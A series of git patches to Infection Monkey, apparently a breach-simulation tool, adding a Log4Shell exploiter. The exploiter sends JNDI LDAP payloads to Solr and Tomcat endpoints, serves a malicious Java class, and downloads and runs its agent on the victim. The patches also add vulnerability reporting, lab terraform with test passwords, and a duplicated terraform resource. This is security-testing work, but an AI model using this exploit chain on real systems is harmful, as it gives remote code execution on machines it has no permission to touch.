6ac59eb2b..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py +++ /dev/null @@ -1,25 +0,0 @@ -from logging import getLogger -from typing import List - -import requests - -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): - urls = build_urls(open_ports, host) - payload = {"uname": payload, "password": "m0nk3y"} - for url in urls: - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") - - -def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: - urls = [] - for port in open_ports: - urls.append(f"http://{host.ip_addr}:{port}/login") - return urls diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py deleted file mode 100644 index ca5d31875..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py +++ /dev/null @@ -1,25 +0,0 @@ -from logging import getLogger -from typing import List - -import requests - -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): - urls = build_urls(open_ports, host) - payload = {"foo": payload} - for url in urls: - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") - - -def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: - urls = [] - for port in open_ports: - urls.append(f"http://{host.ip_addr}:{port}/solr/admin/cores") - return urls diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py new file mode 100644 index 000000000..8122f2505 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -0,0 +1,9 @@ +from typing import List + +from .exploitable_service import IExploitableService +from .poc_docker import DockerPOCExploit +from .solr import SolrExploit + + +def get_log4shell_service_exploiters() -> List[IExploitableService]: + return [DockerPOCExploit(), SolrExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py new file mode 100644 index 000000000..20a3b92e7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py @@ -0,0 +1,16 @@ +import abc + +from infection_monkey.model import VictimHost + + +class IExploitableService(metaclass=abc.ABCMeta): + @property + @abc.abstractmethod + def service_name(self) -> str: + # Should have the name of the exploited service + pass + + @staticmethod + @abc.abstractmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + raise NotImplementedError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py new file mode 100644 index 000000000..ae142eed7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py @@ -0,0 +1,22 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class DockerPOCExploit(IExploitableService): + + service_name = "GoFinance mock application" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/login" + payload = {"uname": payload, "password": "m0nk3y"} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py new file mode 100644 index 000000000..6e6771357 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -0,0 +1,21 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class SolrExploit(IExploitableService): + service_name = "Apache Solr" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/solr/admin/cores" + payload = {"foo": payload} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") From 0b76b9f949fd90cfb44ba2652ecde9acdf2b4583 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 12:18:58 +0200 Subject: [PATCH 17/87] Agent: fix log4shell to override the correct _exploit_host method --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 9ca35b35e..bb2ac472f 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -42,7 +42,7 @@ class Log4ShellExploiter(WebRCE): self.ldap_port = get_free_tcp_port() self.class_http_server_port = get_free_tcp_port() - def exploit_host(self): + def _exploit_host(self): paths = self.get_monkey_paths() # Create server for http download and wait for it's startup. From 9d5ea0f41fb988445ed54775aa554b4be3ce39cf Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 12:26:00 +0200 Subject: [PATCH 18/87] Island: add log4shell issue processing and reporting --- .../exploiter_descriptor_enum.py | 4 ++++ .../exploiter_report_info.py | 1 + .../processors/log4shell.py | 16 ++++++++++++++ .../report-components/SecurityReport.js | 6 ++++++ .../security/issues/Log4ShellIssue.js | 21 +++++++++++++++++++ vulture_allowlist.py | 4 ++++ 6 files changed, 52 insertions(+) create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 15e1bfef4..bb63e3cb9 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -8,6 +8,9 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploitProcessor, ) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501 + Log4ShellProcessor, +) from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 ShellShockExploitProcessor, ) @@ -52,6 +55,7 @@ class ExploiterDescriptorEnum(Enum): POWERSHELL = ExploiterDescriptor( "PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor ) + LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4j Exploiter", Log4ShellProcessor) @staticmethod def get_by_class_name(class_name: str) -> ExploiterDescriptor: diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py index 087ee6a39..069d93a8d 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py @@ -21,3 +21,4 @@ class ExploiterReportInfo: port: Union[str, None] = None paths: Union[List[str], None] = None password_restored: Union[bool, None] = None + service: Union[str, None] = None diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py new file mode 100644 index 000000000..62330e424 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 + ExploiterReportInfo, +) + + +class Log4ShellProcessor: + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + ip_addr = exploit_dict["data"]["machine"]["ip_addr"] + machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)) + port = exploit_dict["data"]["info"]["vulnerable_service"]["port"] + service = exploit_dict["data"]["info"]["vulnerable_service"]["service_name"] + return ExploiterReportInfo( + ip_address=ip_addr, machine=machine, type=class_name, port=port, service=service + ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 3dcf94615..5ea202629 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -31,6 +31,7 @@ import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue'; import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; +import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue'; import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; import { crossSegmentIssueOverview, @@ -158,6 +159,11 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: zerologonIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, + 'Log4ShellExploiter': { + [this.issueContentTypes.OVERVIEW]: log4shellIssueOverview, + [this.issueContentTypes.REPORT]: log4shellIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, 'zerologon_pass_restore_failed': { [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning }, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js new file mode 100644 index 000000000..e9642d71e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -0,0 +1,21 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function log4shellIssueOverview() { + return (
  • Some servers are vulnerable to log4shell remote code execution exploit.
  • ) +} + +export function log4shellIssueReport(issue) { + return ( + <> + Upgrade the log4j component to version 2.15.0 or later. + + The {issue.service} server {issue.machine} ({issue.ip_address}:{issue.port}) is vulnerable to log4shell remote code execution attack. +
    + The attack was made possible due to an old version of log4j component. +
    + + ); +} diff --git a/vulture_allowlist.py b/vulture_allowlist.py index e8d637285..b8509e6b8 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -5,6 +5,9 @@ Vulture doesn't mark these as dead again. """ from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Report +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( + ExploiterDescriptorEnum, +) fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -67,6 +70,7 @@ MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_proce VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45) DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52) +ExploiterDescriptorEnum.LOG4SHELL _.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) From 7bace927f8df266bf5f55527ebb53d58b8dbecb1 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 12:56:04 +0200 Subject: [PATCH 19/87] Agent: fix log4shell to always close ldap and http servers, even on errors --- monkey/infection_monkey/exploit/log4shell.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index bb2ac472f..86f564dfc 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -69,16 +69,17 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - self._trigger_exploit() + try: + self.exploit(None, None) + finally: + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True - - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + ldap.stop() # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded From 0cd6b1e61681e3c6fc2829788c267a8aa9311411 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 13:00:37 +0200 Subject: [PATCH 20/87] Agent: remove unused upload_monkey() and rename _trigger_exploit --- monkey/infection_monkey/exploit/log4shell.py | 42 +++++++++----------- 1 file changed, 18 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 86f564dfc..36e275587 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -84,26 +84,6 @@ class Log4ShellExploiter(WebRCE): # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded - def _trigger_exploit(self): - # Try to exploit all services, - # because we don't know which services are running and on which ports - open_ports = [ - int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - for exploit in get_log4shell_service_exploiters(): - for port in open_ports: - exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) - - # Wait for request - sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - - if Log4ShellExploiter.HTTPHandler.class_downloaded: - self.exploit_info["vulnerable_service"] = { - "service_name": exploit.service_name, - "port": port, - } - return - def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" @@ -132,11 +112,25 @@ class Log4ShellExploiter(WebRCE): else: return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - def upload_monkey(self, url, commands=None): - pass - def exploit(self, url, command): - pass + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in get_log4shell_service_exploiters(): + for port in open_ports: + exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) + + # Wait for request + sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) + + if Log4ShellExploiter.HTTPHandler.class_downloaded: + self.exploit_info["vulnerable_service"] = { + "service_name": exploit.service_name, + "port": port, + } + return class HTTPHandler(http.server.BaseHTTPRequestHandler): From 0006112e79a628a2fcdb8e74eaad897472c2ab7a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 13:01:50 +0200 Subject: [PATCH 21/87] Agent: fix log4shell to be able to exploit more than 1 service --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 36e275587..e6df5879f 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -130,7 +130,7 @@ class Log4ShellExploiter(WebRCE): "service_name": exploit.service_name, "port": port, } - return + return class HTTPHandler(http.server.BaseHTTPRequestHandler): From 79d92afcd43306f30628f905a81ec8223c007f12 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Jan 2022 13:56:17 +0100 Subject: [PATCH 22/87] Agent: Add Apache Tomcat support for Log4Shell exploit --- .../service_exploiters/__init__.py | 3 ++- .../service_exploiters/tomcat.py | 21 +++++++++++++++++++ 2 files changed, 23 insertions(+), 1 deletion(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index 8122f2505..96823c894 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -3,7 +3,8 @@ from typing import List from .exploitable_service import IExploitableService from .poc_docker import DockerPOCExploit from .solr import SolrExploit +from .tomcat import TomcatExploit def get_log4shell_service_exploiters() -> List[IExploitableService]: - return [DockerPOCExploit(), SolrExploit()] + return [DockerPOCExploit(), SolrExploit(), TomcatExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py new file mode 100644 index 000000000..bfabdd854 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -0,0 +1,21 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class TomcatExploit(IExploitableService): + service_name = "Apache Tomcat" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample" + payload = {"dataname": "foo", "datavalue": payload} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") From a38536b59bb3f229c40d9c3d71c6985d7dd6ef94 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 16:35:38 +0200 Subject: [PATCH 23/87] Agent: refactor log4shell Refactor extracts server setup and shutdown functionality into separate methods --- monkey/infection_monkey/exploit/log4shell.py | 70 ++++++++++++++------ 1 file changed, 49 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index e6df5879f..10bbe8859 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -42,47 +42,75 @@ class Log4ShellExploiter(WebRCE): self.ldap_port = get_free_tcp_port() self.class_http_server_port = get_free_tcp_port() + self.ldap_server_thread = None + self.ldap_server = None + self.agent_http_server_thread = None + self.java_class_http_server_thread = None + def _exploit_host(self): + self.start_servers() + try: + self.exploit(None, None) + finally: + self.stop_servers() + # If java class was downloaded it means that victim is vulnerable + return Log4ShellExploiter.HTTPHandler.class_downloaded + + def start_servers(self): + # Start http server, to serve agent to victims paths = self.get_monkey_paths() + agent_http_path = self.start_agent_http_server(paths) + + # Build agent execution command + command = self.build_command(paths["dest_path"], agent_http_path) + + # Start http server to serve malicious java class to victim + class_server_ip = self.start_class_http_server(command) + # Start ldap server to redirect ldap query to java class server + self.start_ldap_server(class_server_ip) + + def start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, agent_paths["src_path"] + ) + self.agent_http_server_thread = http_thread if not http_path: - logger.debug("Exploiter failed, http transfer creation failed.") - return False + logger.debug("Exploiter failed, couldn't start an http server to serve agent.") + raise Exception("Http server creation failed") logger.info("Started http server on %s", http_path) + return http_path - command = self.build_command(paths["dest_path"], http_path) - + def start_class_http_server(self, command: str) -> str: java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) - java_class_http_thread.start() + self.java_class_http_server_thread = java_class_http_thread + self.java_class_http_server_thread.start() + return class_http_server_ip - ldap = LDAPExploitServer( + def start_ldap_server(self, class_http_server_ip: str): + self.ldap_server = LDAPExploitServer( ldap_server_port=self.ldap_port, http_server_ip=class_http_server_ip, http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) - ldap_thread = ldap.get_run_thread() - ldap_thread.start() + ldap_thread = self.ldap_server.get_run_thread() + self.ldap_server_thread = ldap_thread + self.ldap_server_thread.start() - try: - self.exploit(None, None) - finally: - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + def stop_servers(self): + self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self.agent_http_server_thread.stop() - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True + self.java_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() - - # If java class was downloaded it means that victim is vulnerable - return Log4ShellExploiter.HTTPHandler.class_downloaded + self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self.ldap_server.stop() def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) From 7ba2051bf665ce9cda5c7b51a6f5f099673c93e5 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 16:58:40 +0200 Subject: [PATCH 24/87] Agent: fix a bug in log4shell Fix a bug that prevents single agent from exploiting multiple machines, by resetting the state of global HTTPHandler params --- monkey/infection_monkey/exploit/log4shell.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 10bbe8859..3f5ffe886 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -50,13 +50,10 @@ class Log4ShellExploiter(WebRCE): def _exploit_host(self): self.start_servers() try: - self.exploit(None, None) + return self.exploit(None, None) finally: self.stop_servers() - # If java class was downloaded it means that victim is vulnerable - return Log4ShellExploiter.HTTPHandler.class_downloaded - def start_servers(self): # Start http server, to serve agent to victims paths = self.get_monkey_paths() @@ -140,7 +137,7 @@ class Log4ShellExploiter(WebRCE): else: return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - def exploit(self, url, command): + def exploit(self, url, command) -> bool: # Try to exploit all services, # because we don't know which services are running and on which ports open_ports = [ @@ -158,7 +155,8 @@ class Log4ShellExploiter(WebRCE): "service_name": exploit.service_name, "port": port, } - return + return True + return False class HTTPHandler(http.server.BaseHTTPRequestHandler): @@ -166,6 +164,11 @@ class Log4ShellExploiter(WebRCE): class_downloaded = False stop = False + @staticmethod + def reset(): + Log4ShellExploiter.HTTPHandler.class_downloaded = False + Log4ShellExploiter.HTTPHandler.stop = False + def do_GET(self): Log4ShellExploiter.HTTPHandler.class_downloaded = True logger.info("Java class servergot a GET request!") @@ -185,6 +188,8 @@ class Log4ShellExploiter(WebRCE): ): server.handle_request() + Log4ShellExploiter.HTTPHandler.reset() + def get_java_class_server_thread(self, ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class From 6782f806eb8fc4abc24ee240e041721964f4a3e3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 7 Jan 2022 15:27:50 +0200 Subject: [PATCH 25/87] Zoo: add log4j solr machines to terraform scripts and docs --- envs/monkey_zoo/docs/fullDocs.md | 56 +++++++++++++++++++++++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 45 ++++++++++++++++++++ 2 files changed, 101 insertions(+) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 9d8e8b3c4..d10525aa1 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -1198,6 +1198,62 @@ Update all requirements using deployment script:
    + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-49 Log4j Solr

    +

    (10.2.3.49)

    (Vulnerable)
    OS:Ubuntu 18.04LTS
    Software:Apache Solr 8.11.0
    Default server’s port:8983
    Notes:User: m0nk3y, Password: m0nk3y
    + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-50 Log4j-solr

    +

    (10.2.3.50)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:Apache solr 8.11.0
    Default server’s port:-
    Notes:User: m0nk3y, Password: Passw0rd!
    + diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index cd9675732..4b64b4a31 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -373,6 +373,51 @@ resource "google_compute_instance_from_template" "powershell-3-45" { } } +resource "google_compute_instance_from_template" "powershell-3-45" { + name = "${local.resource_prefix}powershell-3-45" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.powershell-3-45.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.45" + } +} + +resource "google_compute_instance_from_template" "log4j-solr-49" { + name = "${local.resource_prefix}log4j-solr-49" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-solr-49.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.49" + } +} + +resource "google_compute_instance_from_template" "log4j-solr-50" { + name = "${local.resource_prefix}log4j-solr-50" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-solr-50.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.50" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" From dcc68914bd4aa776187a7af01845ecbacde7859f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 10 Jan 2022 14:17:48 +0100 Subject: [PATCH 26/87] BB: Add log4j machines to monkey zoo --- envs/monkey_zoo/docs/fullDocs.md | 74 ++++++++++++++++++++++--- envs/monkey_zoo/terraform/images.tf | 16 ++++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 30 ++++++++++ 3 files changed, 113 insertions(+), 7 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index d10525aa1..71a373843 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -35,8 +35,12 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 3-46 Powershell](#_Toc536021480)
    [Nr. 3-47 Powershell](#_Toc536021481)
    [Nr. 3-48 Powershell](#_Toc536021482)
    -[Nr. 250 MonkeyIsland](#_Toc536021483)
    -[Nr. 251 MonkeyIsland](#_Toc536021484)
    +[Nr. 3-49 Log4j Solr](#_Toc536021483)
    +[Nr. 3-50 Log4j Solr](#_Toc536021484)
    +[Nr. 3-51 Log4j Tomcat](#_Toc536021485)
    +[Nr. 3-52 Log4j Tomcat](#_Toc536021486)
    +[Nr. 250 MonkeyIsland](#_Toc536021487)
    +[Nr. 251 MonkeyIsland](#_Toc536021488)
    [Network topography](#network-topography)
    # Warning\! @@ -1201,7 +1205,7 @@ Update all requirements using deployment script:
    - @@ -1229,7 +1233,7 @@ Update all requirements using deployment script:

    Nr. 3-49 Log4j Solr

    +

    Nr. 3-49 Log4j Solr

    (10.2.3.49)

    (Vulnerable)
    - @@ -1245,7 +1249,7 @@ Update all requirements using deployment script:
    - + @@ -1257,7 +1261,63 @@ Update all requirements using deployment script:

    Nr. 3-50 Log4j-solr

    +

    Nr. 3-50 Log4j Solr

    (10.2.3.50)

    (Vulnerable)
    Default server’s port:-8983
    Notes:
    - + + + + + + + + + + + + + + + + + + + + + +

    Nr. 250 MonkeyIsland

    +

    Nr. 3-51 Log4j Tomcat

    +

    (10.2.3.51)

    (Vulnerable)
    OS:Ubuntu 18.04LTS
    Software:Apache Tomcat 8.0.36
    Default server’s port:8080
    Notes:
    + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-52 Log4j-tomcat

    +

    (10.2.3.52)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:Apache Tomcat 8.0.36
    Default server’s port:8080
    Notes:User: m0nk3y, Password: Tomcat@22
